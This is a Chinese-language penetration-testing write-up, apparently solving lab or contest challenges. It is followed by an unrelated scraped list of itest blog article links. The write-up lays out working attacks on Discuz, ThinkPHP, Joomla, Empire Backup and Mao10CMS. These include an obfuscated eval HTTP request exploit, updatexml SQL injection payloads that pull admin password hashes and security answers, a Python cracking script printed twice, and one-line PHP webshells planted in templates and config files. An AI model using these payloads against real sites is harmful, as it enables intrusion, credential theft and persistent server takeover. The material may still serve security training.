渗透测试入门

我很简单,请不要欺负我

网站综合渗透实验:

真的很简单:

你是会员吗:

2015中国网络安全大赛

一、代码执行:

同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。

二、Session欺骗:(so奇葩)

  1. www.xxx.xxx/admin/ 存在目录遍历;
  2. 禁用JS后居然可以获取后台!
  3. 不仅有后台,而且可以修改管理员密码!
  4. 在软件上传栏目中,系统使用白名单,可以直接上传php;
  5. Getshell。

三、越权访问:

  1. 帝国备份王,万能Cookie漏洞;
  2. BurpSuit 自动替换Cookie。
  3. 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
  4. Getshell。

四、信息泄露:

  1. 获取configuration.php~备份文件;
  2. 利用configuration文件中的账号密码登录phpmyadmin;
  3. 利用phpmyadmin重置admin密码;
  4. 登录Joomla后台,修改template代码,插入一句话;
  5. 连接一句话,www.xxx.com/templates/atom/index.php。

五、框架漏洞:

  1. ThinkPHP单一入口漏洞;
  2. http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
  3. 连接地址如上,密码chopper;
  4. Getshell。

六、Reinstall:

  1. Mao10CMS前台getshell漏洞;
  2. 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。

',@eval ($_POST["chopper"]), //

DZ漏洞全家桶

一、这不是DZ漏洞?

  1. Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
  2. 使用EXP。

    POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

    Host: www.test.ichunqiu

    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Connection: keep-alive

    Content-Length: 199

    Content-Type: application/x-www-form-urlencoded

    newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

  3. 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
  4. Getshell。

二、又见DZ,我能拿你怎么办:

  1. 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
  2. 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
  3. 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
  4. EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
  5. 爆破管理员密码

    ' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='

    得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123

  6. 登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案

    构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='

    得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。

    (1),将安全问题的value md5加密得到一个加密串

    (2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串

    (3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库

    自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    密码字典foo.txt是生成的3位到5位的纯数字

  1. 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
  2. Getshell,连接地址templates\default\customfaq.lang.php。

linhai19760812

only_system

ITest的更多相关文章

  1. 分布式团队中沟通引发的问题, itest 解决之道

    导读: 从问题场景和 itest 优雅解决办法及示例2部分来阐述 1.问题场景: 研发团队是分散在几地的分布式团队,经常会因沟通引来一些问题.如下三图是开发觉得测试进度太慢,一番对话之后, 接下来他们 ...

  2. itest 开源测试管理项目中封装的下拉列表小组件:实现下拉列表使用者前后端0行代码

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景       像easy ui 之类的纯前端组件,也有下拉列表组件,但是使用的时候,每个下拉列表,要配一个URL ...

  3. spring JdbcTemplate 在itest 开源测试管理项目中的浅层(5个使用场景)封装

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景, 在做项目的时候,用的JPA ,有些复杂查询,比如报表用原生的JdbcTemplate ,很不方便;传参也不方便 ...

  4. 软件测试自动化的最新趋势对开源测试管理软件ITEST的启示

    https://www.infoq.cn/article/c-LHJS2ksuDxp1WkrGl4 理面提到几点,DevOps 的关键原则是开发团队.测试团队和运营团队协作,无缝发布软件.这意味着集中 ...

  5. Itest(爱测试),最懂测试人的开源测试管理软件隆重发布

    测试人自己开发,汇聚10年沉淀,独创流程驱动测试.度量展现测试人价值的测试协同软件,开源免费   官网刚上线,近期发布源码:http://www.itest.work 在线体验 http://www. ...

  6. C#调用Delphi接口(ITest = interface)

    首先创建一个delphi的DLL工程 library testintfdll; { Important note about DLL memory management: ShareMem must ...

  7. 开源敏捷测试管理& 开源BUG跟踪管理软件itest(爱测试) V3.3.0隆重发布

    v3.3.0 下载地址 :itest下载 码云源码地址 https://gitee.com/itestwork/itest 开源中国  itest项目地址   https://www.oschina. ...

  8. itest(爱测试) 4.2.1 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者 ...

  9. itest(爱测试) 4.2.0 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 v4.2.0下载地址 :itest下载 itest 简介:查看简介 itest ...

  10. itest(爱测试) 4.1.5 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    v4.1.5下载地址 :itest下载 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者.可按测试包分配测试用例执行,也可建测试迭代(含任务,测试包,BUG)来组织测试 ...

随机推荐

  1. 初识ionic

    1.Ionic环境安装 Ionic开发是依赖于Nodejs环境的,所以在开发之前我们需要安装好Nodejs.下载安装:http://nodejs.org/ 安装完成之后打开PowerShell输入命令 ...

  2. 关于.NET异常处理的思考(上)

      年关将至,对于大部分程序员来说,马上就可以闲下来一段时间了,然而在这个闲暇的时间里,唯有争论哪门语言更好可以消磨时光,估计最近会有很多关于java与.net的博文出现,我表示要作为一个吃瓜群众,静 ...

  3. Js-Html 前端系列--可伸缩菜单

    一个非常经典的Demo,自行开发可以扩展. <head> <title></title> <style type="text/css"&g ...

  4. C语言之循环结构 for(一)

    一 for循环的介绍 语法: for(表达式1;表达式2;表达式3){ 循环体; } 循环步骤: A.执行表达式1,执行完毕跳转到B B.判断表达式2的结果是否为真,如果为真,跳转到C,否则跳转到E ...

  5. MVC源码分析 - Controller创建和创建扩展

    上一篇, 出现了一个至关重要的类:MvcHandler, 接下来就来看一下MvcHandler吧. 先不看具体方法, 先看一下类里面的情况. //这里实现了两个重要的接口, 异步处理和同步处理的接口p ...

  6. jQuery插件slides实现无缝轮播图特效

    初始化插件: slides是一款基于jQuery无缝轮播图插件,支持图内元素动画,可以自定义动画类型 1 2 3 4 5 6 7 8 9 10 $(".slideInner").s ...

  7. CodeForces 157C Message

    $dp$. $dp[i][j]$表示$s[i]$到$s[j]$和$t[lent-1+i-j]$到$t[lent-1]$有$dp[i][j]$位相同,然后枚举一遍$dp[i][j]$就可以算出答案了. ...

  8. websocket+前后端分离+https的nginx配置

    后端服务路径: 172.168.0.2:8080 172.168.0.2:7080 前端目录(html + css + js): /root/apps/mzsg-web 1.修改 /etc/nginx ...

  9. getResourceAsStream和getResource的用法

    用JAVA获取文件,听似简单,但对于很多像我这样的新人来说,还是掌握颇浅,用起来感觉颇深,大家最经常用的,就是用JAVA的File类,如要取得 D:/test.txt文件,就会这样用File file ...

  10. hdu 5996 dingyeye loves stone(博弈)

    题目链接:hdu 5996 dingyeye loves stone 题意: 给你一棵树,树的每一个节点有a[i]个石子,每个人可以将这个节点的石子移向它的父亲,如果没有合法操作,那么就算输,现在给你 ...